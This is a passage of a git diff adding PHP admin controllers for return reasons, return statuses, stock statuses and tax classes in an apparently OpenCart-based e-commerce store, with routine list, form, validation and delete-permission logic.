+ $pagination->total = $return_reason_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_reason_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_reason_total - $this->config->get('config_limit_admin'))) ? $return_reason_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_reason_total, ceil($return_reason_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_reason_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_reason_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_reason_id'])) {
+ $data['action'] = $this->url->link('localisation/return_reason/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_reason/edit', 'user_token=' . $this->session->data['user_token'] . '&return_reason_id=' . $this->request->get['return_reason_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_reason'])) {
+ $data['return_reason'] = $this->request->post['return_reason'];
+ } elseif (isset($this->request->get['return_reason_id'])) {
+ $data['return_reason'] = $this->model_localisation_return_reason->getReturnReasonDescriptions($this->request->get['return_reason_id']);
+ } else {
+ $data['return_reason'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_reason_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_reason')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_reason'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_reason')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_reason_id) {
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnReasonId($return_reason_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/return_status.php b/public/admin/controller/localisation/return_status.php
new file mode 100644
index 0000000..16081ea
--- /dev/null
+++ b/public/admin/controller/localisation/return_status.php
@@ -0,0 +1,355 @@
+load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_status->addReturnStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_status->editReturnStatus($this->request->get['return_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_status_id) {
+ $this->model_localisation_return_status->deleteReturnStatus($return_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_status_total = $this->model_localisation_return_status->getTotalReturnStatuses();
+
+ $results = $this->model_localisation_return_status->getReturnStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_statuses'][] = array(
+ 'return_status_id' => $result['return_status_id'],
+ 'name' => $result['name'] . (($result['return_status_id'] == $this->config->get('config_return_status_id')) ? $this->language->get('text_default') : null),
+ 'edit' => $this->url->link('localisation/return_status/edit', 'user_token=' . $this->session->data['user_token'] . '&return_status_id=' . $result['return_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_status_total - $this->config->get('config_limit_admin'))) ? $return_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_status_total, ceil($return_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_status_id'])) {
+ $data['action'] = $this->url->link('localisation/return_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_status/edit', 'user_token=' . $this->session->data['user_token'] . '&return_status_id=' . $this->request->get['return_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_status'])) {
+ $data['return_status'] = $this->request->post['return_status'];
+ } elseif (isset($this->request->get['return_status_id'])) {
+ $data['return_status'] = $this->model_localisation_return_status->getReturnStatusDescriptions($this->request->get['return_status_id']);
+ } else {
+ $data['return_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_status_id) {
+ if ($this->config->get('config_return_status_id') == $return_status_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnStatusId($return_status_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+
+ $return_total = $this->model_sale_return->getTotalReturnHistoriesByReturnStatusId($return_status_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/stock_status.php b/public/admin/controller/localisation/stock_status.php
new file mode 100644
index 0000000..0deff44
--- /dev/null
+++ b/public/admin/controller/localisation/stock_status.php
@@ -0,0 +1,346 @@
+load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_stock_status->addStockStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_stock_status->editStockStatus($this->request->get['stock_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $stock_status_id) {
+ $this->model_localisation_stock_status->deleteStockStatus($stock_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/stock_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/stock_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['stock_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $stock_status_total = $this->model_localisation_stock_status->getTotalStockStatuses();
+
+ $results = $this->model_localisation_stock_status->getStockStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['stock_statuses'][] = array(
+ 'stock_status_id' => $result['stock_status_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/stock_status/edit', 'user_token=' . $this->session->data['user_token'] . '&stock_status_id=' . $result['stock_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $stock_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($stock_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($stock_status_total - $this->config->get('config_limit_admin'))) ? $stock_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $stock_status_total, ceil($stock_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/stock_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['stock_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['stock_status_id'])) {
+ $data['action'] = $this->url->link('localisation/stock_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/stock_status/edit', 'user_token=' . $this->session->data['user_token'] . '&stock_status_id=' . $this->request->get['stock_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['stock_status'])) {
+ $data['stock_status'] = $this->request->post['stock_status'];
+ } elseif (isset($this->request->get['stock_status_id'])) {
+ $data['stock_status'] = $this->model_localisation_stock_status->getStockStatusDescriptions($this->request->get['stock_status_id']);
+ } else {
+ $data['stock_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/stock_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/stock_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['stock_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/stock_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $stock_status_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByStockStatusId($stock_status_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/tax_class.php b/public/admin/controller/localisation/tax_class.php
new file mode 100644
index 0000000..9de37b5
--- /dev/null
+++ b/public/admin/controller/localisation/tax_class.php
@@ -0,0 +1,373 @@
+load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_class->addTaxClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_class->editTaxClass($this->request->get['tax_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $tax_class_id) {
+ $this->model_localisation_tax_class->deleteTaxClass($tax_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/tax_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/tax_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['tax_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $tax_class_total = $this->model_localisation_tax_class->getTotalTaxClasses();
+
+ $results = $this->model_localisation_tax_class->getTaxClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['tax_classes'][] = array(
+ 'tax_class_id' => $result['tax_class_id'],
+ 'title' => $result['title'],
+ 'edit' => $this->url->link('localisation/tax_class/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_class_id=' . $result['tax_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
